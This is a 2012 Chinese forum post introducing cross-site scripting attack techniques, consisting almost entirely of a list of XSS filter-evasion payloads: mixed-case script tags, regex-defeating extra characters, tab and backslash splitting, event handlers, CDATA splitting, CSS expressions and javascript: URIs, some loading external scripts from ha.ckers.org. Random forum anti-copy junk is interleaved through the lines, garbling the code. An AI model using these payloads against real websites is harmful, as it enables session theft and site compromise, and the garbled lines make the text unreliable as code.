找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2607|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
- n+ U) M$ i/ t+ P
7 l. v" @, L3 K. V2 [: |* I8 ]
/ \7 {  p: O( `6 a7 \) \- r  j2 ]; f+ O  u+ g8 D
    <sCript>alert(‘d’)</scRipT>
7 P) K) A+ }; I# }$ J, U( B2 y) t8 F2 G' F1 s  D8 n
2. 利用多加一些其它字符来规避Regular Expression的检查
& o# _6 Q; d# T! h) Y# y
  D4 c. }% m- ?( C    <<script>alert(‘c’)//<</script>) O/ W# x& ?) {* E

4 I2 L4 B  Q" P4 p8 {; x( c. p# z; T    <SCRIPT a=">" SRC="t.js"></SCRIPT>  M+ u" i( A, _  i+ b+ e& K; K

( v1 U1 v% M8 X; v6 j( b    <SCRIPT =">" SRC="t.js"></SCRIPT>
6 p9 t9 S* s  y- s: J" ^8 R8 F% T: M/ `1 F
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
  V2 |/ H3 a& o* v6 }% K! D, |$ a- B+ x4 _4 Q
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>! c# y8 f6 o1 k6 c: {# U
6 g( H! y& H$ t$ I0 S; h
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
, v% I! t. \; O! s& k; p2 A+ i! P! L1 U3 x+ g' K+ X; @
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>+ b$ c& E* u# N' c7 J, Y

: p" r2 x) ^6 G  E1 c! [! R3. 以其它扩展名取代.js3 w! ~# e: {' ?) K% W0 C7 q
8 p- a4 T! ]- e" ^- c( |
    <script src="bad.jpg"></script>8 n/ m  ^( q+ Z

5 x0 D4 c8 N" |! P% E, N4. 将Javascript写在CSS档里) Q" Q+ G( M' O( I' }) B4 \
9 y3 j* [" n( W
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
0 `) Q$ n% }5 o5 T8 y3 }: i8 m. A, A9 i* d# l
       example:
- A) N( o# v& k% D7 J. N$ Y
0 Q8 W3 K# V1 t- V: d          body {. F  w( O- o8 J1 T9 T6 P

# q8 P- r" M6 T               background-image: url(‘javascript:alert("XSS");’)8 `: p+ v7 ?, y7 W* z3 H& l- v
! F1 [% M6 r4 }9 x" {
          }
, K2 g' m5 U& q- @6 Q  X  [0 |  F1 x: U+ {2 G* O: C
5. 在script的tag里加入一些其它字符
( S, w' |+ m/ z' c' a3 y
" A( @7 p% x  }' \) \; V    <SCRIPT/SRC="t.js"></SCRIPT>; `- ?$ J0 E" a

# L! g8 Q% m9 I( H* q- g' Z    <SCRIPT/anyword SRC="t.js"></SCRIPT>
  a0 T7 Q# q4 N% t
, Z+ H% R" M- b& y$ ?: d6. 使用tab或是new line来规避
7 m( Y6 {1 d3 `2 E" a% [. K7 v/ }  J
    <img src="jav ascr ipt:alert(‘XSS3′)"># }' a( D  a! }1 j6 V
& ?2 v) E. Q1 t+ `2 o/ T+ z
    <img src="jav ascr ipt:alert(‘XSS3′)">( N' k, x/ u! V5 s5 d( ]9 A
3 u; B, p3 O. [# I/ N
    <IMG SRC="jav ascript:alert(‘XSS’);">' ]+ L5 w" ?  B- l9 }

$ K8 a) K1 J' N/ s. i7 q' X  J         -> tag, q  q8 c1 L  v2 t7 I: S

. c& s, v0 [3 K% k: U5 b         -> new line: v( q' P. |6 j4 N- @9 A
. g' C% i4 b" a1 U$ P6 a# Q: Q
7. 使用"\"来规避
2 J, c, C  V" x4 m- }4 L) F3 V
0 L- }) Z5 Q( b% n. j    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
0 X) T0 T0 b* u' ~7 s4 u
# o, }# t8 F8 I( |5 @+ ~, W" N. e    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# Q" U. u& W1 T6 P2 r2 S. o# q
- P0 Q1 f" i: t, C    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
# H$ H$ K- P7 @! ]) R7 h$ U7 P* t* R+ F2 h" V% |+ V, \
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">6 e& h! W9 N9 x
& r$ z: A- Q8 y5 \. }% s) Y
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>8 J+ D6 [9 m3 C& u, h% G: X2 G2 B
% j6 h% r3 V  u5 K& x( b' W
8. 使用Hex encode来规避(也可能会把";"拿掉)( B9 O- t, N) T) R

1 P6 W  y3 _5 D- m  R$ x    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: S4 `# h7 J# |
, v2 n0 k; `9 a7 P, K        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">6 m$ ]+ i7 F% ~1 r

/ s: L: \( K5 i8 u) B    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
8 |; Y+ \9 u4 j3 X
) G5 X/ N8 }; I( a4 c) C! v        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">% Z6 d& A5 z' @% G  \) w3 {  ?& S; f5 Y
% O) V! M+ F" U
9. script in HTML tag) w! \; ~9 ]" t4 n( g2 j

& R0 y7 s% T- E- b5 ?! I    <body onload=」alert(‘onload’)」>
/ Z  z# x7 {- O
% v! Z' j/ f( J; D        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload1 s+ P; B- M9 [; ?1 v& a" L% A" m! X

1 p3 R5 P2 c1 T7 t3 }9 W10. 在swf里含有xss的code5 ?! [5 O& S* u/ M

1 @( t/ j0 l8 X2 `+ }9 {0 {& _    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>, H- a% f- M# m% v' z: S. d
6 c# ^8 V+ x$ H8 z( a- E
11. 利用CDATA将xss的code拆开,再组合起来。
0 g" R1 D: D4 ~. G& o" X5 f5 s. H  A
/ f8 j, q1 x( ]7 y: J! `) n$ x3 ?    <XML ID=I><X><C>  m1 g3 ~9 ?( P, L
: m3 |" ], s% _
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>$ V& x1 J1 v4 ^( C

9 ]' y. |% w. m% Z1 I    </C></X>0 q+ a2 Q+ C" ]1 g( ]6 G2 L; q
" u5 T, J7 K  c( F8 `
    </xml>
2 j2 O5 [9 a' M9 B: x! a9 q5 i& W. G/ j, s. `, `" a( ^7 z- r
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  t8 s1 |5 z+ N' F7 O8 ~! {; g; ]
- c# Q& y5 E0 h& O    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
8 P, R' {& ]( V* W
& E# J4 m+ r" N) A) R    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
; E0 H1 K0 b; b' ~9 ?, A7 P) b" W$ ]$ k+ k7 ]% y4 G/ t. P0 n
12. 利用HTML+TIME。5 y: G7 c% v7 u% C: w

: @# p9 d* q  g    <HTML><BODY>& T" v' U2 ^- k* K

8 v) Q9 ]& c0 @3 Y$ s4 i- v    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
4 u/ {6 I% y  C: [1 R* h( b% A" _8 N/ F. O8 ^- `# m1 L
    <?import namespace="t" implementation="#default#time2">! n; N. f1 r) q0 @

0 G' R% C( R) L7 q# ^    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">5 B  y+ \# G% j& U/ l
, ?$ }& E, e! V
    </BODY></HTML>5 C  x* S4 L* z5 h. F/ H* o8 H
) i0 R" y# z7 g
13. 透过META写入Cookie。
7 T- G, W9 m$ t! p
4 N$ X0 [0 x) R9 p+ S) Z  w2 |    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">. }9 S9 Z& r7 Q, H, k0 m
2 Z$ \+ l8 ^3 K* Q; B. w
14. javascript in src , href , url
' e- f4 V* a- l: B  H; q( I  k# n2 H
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
2 r1 K- y! ]2 Y2 h8 v' {3 C( @1 o5 E- ~
    <img src="javascript:alert(‘XSS3′)">
& R5 j  _1 n3 c$ r! g5 W8 j
+ c4 V. G' Z$ d, T6 W<IMG DYNSRC="javascript:alert(‘XSS20′)">$ a2 `: y6 `$ m3 h

0 K& a& ?& D, ?5 U* h  _( g. X0 {    <IMG LOWSRC="javascript:alert(‘XSS21′)">
3 b" w2 I, A3 P5 r1 \5 R* l6 r" P, m: n
1 ?5 T$ F$ `2 B0 k4 @& N, `6 s    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
% @4 c+ d7 `4 v: L" O; c9 H  q9 I' I9 B& g* S* j  U
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
  `0 Y  u1 k7 ?0 a% h2 r# b
& h4 C/ L+ R* _7 ~6 O! U    <TABLE BACKGROUND="javascript:alert(‘XSS29′)"># v9 d! y; h2 X

2 `9 C- V1 t$ g2 G0 z    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">- N" u2 G4 Q: r$ @9 I
/ i: [  [: v1 y& ^9 F
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}8 o, K0 P2 Z3 Q

9 I2 c, y0 |9 G1 U0 @3 \( O    </STYLE><A CLASS=XSS></A>
% {; b& D0 o- c! U6 Z' l
: H2 B; L# B* Z9 x    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
. }4 g$ ]+ @& ~! [
& ^* [+ a; G0 M& ?# y! G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表